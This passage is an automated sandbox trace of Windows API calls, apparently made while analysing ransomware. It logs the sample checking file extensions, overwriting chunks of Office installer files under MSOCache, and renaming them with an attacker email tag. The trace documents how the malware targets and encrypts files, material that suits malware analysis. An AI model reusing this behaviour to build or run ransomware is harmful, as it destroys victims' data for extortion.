lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.021] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f74fa0 | out: hHeap=0x4b0000) returned 1 [0078.021] CloseHandle (hObject=0x20c) returned 1 [0078.021] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0078.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0078.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0078.021] lstrlenW (lpString=".doc") returned 4 [0078.021] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0078.021] lstrlenW (lpString=".docx") returned 5 [0078.021] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0078.021] lstrlenW (lpString=".pdf") returned 4 [0078.022] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0078.022] lstrlenW (lpString=".xls") returned 4 [0078.022] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0078.022] lstrlenW (lpString=".xlsx") returned 5 [0078.022] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0078.022] lstrlenW (lpString=".ppt") returned 4 [0078.022] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0078.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0078.022] lstrlenW (lpString=".zip") returned 4 [0078.022] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0078.022] lstrlenW (lpString=".rar") returned 4 [0078.022] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0078.022] lstrlenW (lpString=".bz2") returned 4 [0078.022] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0078.022] lstrlenW (lpString=".7z") returned 3 [0078.022] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0078.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0078.022] lstrlenW (lpString=".dbf") returned 4 [0078.022] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0078.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0078.022] lstrlenW (lpString=".1cd") returned 4 [0078.022] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0078.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0078.022] lstrlenW (lpString=".jpg") returned 4 [0078.022] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0078.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0078.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0078.022] lstrlenW (lpString=".doc") returned 4 [0078.022] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0078.022] lstrlenW (lpString=".docx") returned 5 [0078.022] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0078.022] lstrlenW (lpString=".pdf") returned 4 [0078.022] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0078.023] lstrlenW (lpString=".xls") returned 4 [0078.023] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0078.023] lstrlenW (lpString=".xlsx") returned 5 [0078.023] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0078.023] lstrlenW (lpString=".ppt") returned 4 [0078.023] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0078.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0078.023] lstrlenW (lpString=".zip") returned 4 [0078.023] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0078.023] lstrlenW (lpString=".rar") returned 4 [0078.023] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0078.023] lstrlenW (lpString=".bz2") returned 4 [0078.023] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0078.023] lstrlenW (lpString=".7z") returned 3 [0078.023] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0078.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0078.023] lstrlenW (lpString=".dbf") returned 4 [0078.023] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0078.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0078.023] lstrlenW (lpString=".1cd") returned 4 [0078.023] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0078.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0078.023] lstrlenW (lpString=".jpg") returned 4 [0078.023] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0078.023] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0078.023] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0078.023] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0078.024] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=27532288) returned 1 [0078.024] CloseHandle (hObject=0x20c) returned 1 [0078.024] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020 [0078.024] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0078.024] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0078.024] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0078.025] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0078.025] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0078.025] ReadFile (in: hFile=0x20c, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.304] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0078.304] ReadFile (in: hFile=0x20c, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.404] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0078.405] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0078.405] ReadFile (in: hFile=0x20c, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.852] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.852] WriteFile (in: hFile=0x20c, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0079.039] SetEndOfFile (hFile=0x20c) returned 1 [0079.039] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f74fa0 [0079.043] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0079.044] WriteFile (in: hFile=0x20c, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.045] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0079.045] WriteFile (in: hFile=0x20c, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.050] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0079.050] WriteFile (in: hFile=0x20c, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.052] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f74fa0 | out: hHeap=0x4b0000) returned 1 [0079.052] CloseHandle (hObject=0x20c) returned 1 [0079.052] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0079.052] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0079.052] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0079.052] lstrlenW (lpString=".doc") returned 4 [0079.052] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0079.053] lstrlenW (lpString=".docx") returned 5 [0079.053] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0079.053] lstrlenW (lpString=".pdf") returned 4 [0079.053] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0079.053] lstrlenW (lpString=".xls") returned 4 [0079.053] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0079.053] lstrlenW (lpString=".xlsx") returned 5 [0079.053] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0079.053] lstrlenW (lpString=".ppt") returned 4 [0079.053] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0079.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0079.053] lstrlenW (lpString=".zip") returned 4 [0079.053] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0079.053] lstrlenW (lpString=".rar") returned 4 [0079.053] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0079.053] lstrlenW (lpString=".bz2") returned 4 [0079.053] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0079.053] lstrlenW (lpString=".7z") returned 3 [0079.053] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0079.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0079.053] lstrlenW (lpString=".dbf") returned 4 [0079.053] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0079.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0079.053] lstrlenW (lpString=".1cd") returned 4 [0079.053] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0079.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0079.054] lstrlenW (lpString=".jpg") returned 4 [0079.054] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0079.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0079.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0079.054] lstrlenW (lpString=".doc") returned 4 [0079.054] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0079.054] lstrlenW (lpString=".docx") returned 5 [0079.054] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0079.054] lstrlenW (lpString=".pdf") returned 4 [0079.054] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0079.054] lstrlenW (lpString=".xls") returned 4 [0079.054] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0079.054] lstrlenW (lpString=".xlsx") returned 5 [0079.054] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0079.252] lstrlenW (lpString=".ppt") returned 4 [0079.256] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0079.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0079.256] lstrlenW (lpString=".zip") returned 4 [0079.256] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0079.257] lstrlenW (lpString=".rar") returned 4 [0079.257] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0079.257] lstrlenW (lpString=".bz2") returned 4 [0079.257] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0079.257] lstrlenW (lpString=".7z") returned 3 [0079.257] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0079.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0079.257] lstrlenW (lpString=".dbf") returned 4 [0079.257] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0079.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0079.257] lstrlenW (lpString=".1cd") returned 4 [0079.257] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0079.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0079.257] lstrlenW (lpString=".jpg") returned 4 [0079.257] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0079.257] lstrcmpiW (lpString1=".exe", lpString2=".2020") returned 1 [0079.257] lstrlenW (lpString="ose.exe") returned 7 [0079.257] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0079.456] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=174440) returned 1 [0079.456] CloseHandle (hObject=0x204) returned 1 [0079.456] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0079.456] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0079.456] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0079.485] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.488] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.488] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0079.489] GetLastError () returned 0x0 [0079.489] ReadFile (in: hFile=0x204, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0079.497] WriteFile (in: hFile=0x218, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0079.502] ReadFile (in: hFile=0x204, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0079.502] WriteFile (in: hFile=0x218, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0079.502] SetEndOfFile (hFile=0x218) returned 1 [0079.502] CloseHandle (hObject=0x218) returned 1 [0079.503] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.503] SetEndOfFile (hFile=0x204) returned 1 [0079.505] CloseHandle (hObject=0x204) returned 1 [0079.505] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0079.506] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0079.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.506] lstrlenW (lpString=".doc") returned 4 [0079.506] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0079.506] lstrlenW (lpString=".docx") returned 5 [0079.506] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0079.506] lstrlenW (lpString=".pdf") returned 4 [0079.506] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0079.506] lstrlenW (lpString=".xls") returned 4 [0079.506] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0079.506] lstrlenW (lpString=".xlsx") returned 5 [0079.507] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0079.507] lstrlenW (lpString=".ppt") returned 4 [0079.507] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0079.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.507] lstrlenW (lpString=".zip") returned 4 [0079.507] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0079.507] lstrlenW (lpString=".rar") returned 4 [0079.507] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0079.507] lstrlenW (lpString=".bz2") returned 4 [0079.507] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0079.507] lstrlenW (lpString=".7z") returned 3 [0079.507] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0079.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.507] lstrlenW (lpString=".dbf") returned 4 [0079.507] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0079.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.507] lstrlenW (lpString=".1cd") returned 4 [0079.507] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0079.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.507] lstrlenW (lpString=".jpg") returned 4 [0079.507] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0079.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.507] lstrlenW (lpString=".doc") returned 4 [0079.508] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0079.508] lstrlenW (lpString=".docx") returned 5 [0079.508] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0079.508] lstrlenW (lpString=".pdf") returned 4 [0079.508] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0079.508] lstrlenW (lpString=".xls") returned 4 [0079.508] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0079.508] lstrlenW (lpString=".xlsx") returned 5 [0079.508] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0079.508] lstrlenW (lpString=".ppt") returned 4 [0079.508] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0079.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.508] lstrlenW (lpString=".zip") returned 4 [0079.508] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0079.508] lstrlenW (lpString=".rar") returned 4 [0079.508] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0079.508] lstrlenW (lpString=".bz2") returned 4 [0079.508] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0079.508] lstrlenW (lpString=".7z") returned 3 [0079.508] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0079.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.508] lstrlenW (lpString=".dbf") returned 4 [0079.508] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0079.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.508] lstrlenW (lpString=".1cd") returned 4 [0079.508] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0079.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0079.509] lstrlenW (lpString=".jpg") returned 4 [0079.509] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0079.509] lstrcmpiW (lpString1=".dll", lpString2=".2020") returned 1 [0079.509] lstrlenW (lpString="osetup.dll") returned 10 [0079.509] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0079.510] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=7378792) returned 1 [0079.510] CloseHandle (hObject=0x204) returned 1 [0079.510] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0079.510] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0079.511] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0079.511] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: 